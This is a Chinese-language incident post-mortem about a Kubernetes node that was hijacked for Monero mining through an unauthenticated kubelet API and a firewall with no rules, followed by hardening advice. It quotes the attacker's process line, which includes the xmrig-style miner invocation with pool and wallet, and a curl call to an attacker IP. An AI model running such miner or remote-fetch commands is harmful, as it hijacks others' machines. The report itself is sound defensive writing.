Kubernetes 嚴重安全問題導致服務器被入侵變礦機

近期遇到了一次我們自建Kubernetes集群中某臺機器被入侵挖礦的情況，后續也找到了原因，所幸只是用來挖礦……

網絡安全是個嚴肅的問題，它總是在不經意間出現，等你反應過來卻已經遲了。希望各位讀者看完后也有所啟發，去檢查及加固自己的集群。

1入侵現象

檢查到某臺機器中出現了異常進程：

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

簡單來講，就是我們的機器被用來挖礦了……

問題出現后，我們第一時間關閉了 Docker，其實應該隔離下環境，把挖礦程序 dump下來，以便后續分析。

2具體原因排查

iptables 為空

出現了異常進程，肯定是被入侵了，我首先看的是 iptables。果不其然，機器上的 iptables 規則是空的，意味著這臺機器在裸奔。

kubelet 裸奔

內部同事提出了有可能是 kubelet 被入侵的問題，檢查過其他組件后，開始檢查 kubelet組件。

最后檢查到 kubelet 日志中有異常：

kubelet 設置不當

確認入侵問題，kubelet 參數設置錯誤，允許直接訪問 kubelet 的 API。

發現是 kubelet 的啟動項中，該位置被注釋掉：

然后文件中禁止匿名訪問的配置沒有讀取。

該項配置是由于我操作不當注釋掉的。

由于是新增加的機器，當晚就發現了問題，整個集群是我在管理的，我跟隨著一起排查，所以很快就找到了原因，當晚我就把其他機器中的配置項重新掃了一遍，假如它們的防火墻失效了，也會有類似的入侵情況發生，還好此次事件控制在 1 臺機器中。

3改進方案

其實該問題理論上講是可以避免的，是因為出現了多層漏洞才會被有心人掃到，我從外到內整理了一下可能改進的策略：

1. 機器防火墻設置，機器防火墻是整個系統最外層，即使機器的防火墻同步失敗，也不能默認開放所有端口，而是應該全部關閉，等待管理員連接到 tty 終端上檢查。
2. 使用機器時，假如機器不是暴露給外部使用的，公網IP 可有可無的時候，盡量不要有公網IP，我們的機器才上線 1 天就被掃描到了漏洞，可想而知，公網上是多么的危險。
3. 使用 kubelet 以及其他系統服務時，端口監聽方面是不是該有所考量？能不能不監聽0.0.0.0，而是只監聽本機的內網 IP。
4. 使用 kubelet 以及其他程序，設計或是搭建系統時，對于匿名訪問時的權限控制，我們需要考慮到假如端口匿名會出現什么問題，是否應該允許匿名訪問，如果不允許匿名訪問，那么怎么做一套鑒權系統？
5. 系統管理員操作時，是否有一個比較規范化的流程，是不是該只使用腳本操作線上環境？手動操作線上環境帶來的問題并不好排查和定位。

我這里不是拋出疑問，只是想告訴大家，考慮系統設計時，有必要考慮下安全性。

4總結

發生了入侵事件后，同事開玩笑說，還好沒其他經濟損失，要不我可能要回家了。作為集群的管理員，只有自己最清楚問題的嚴重程度，從本質上來講，問題已經相當嚴重了。入侵者相當于擁有了機器上 Docker 的完整控制權限。

因為此次事件的發生，不只是我，還有 SA 的同學基本都被 diao 了一遍，心里還是有點難受的，希望大家能對網絡安全問題有所重視，從加固防火墻開始，避免監聽不必要的端口，這兩項至少是最容易實現的。

如侵權請私聊公眾號刪文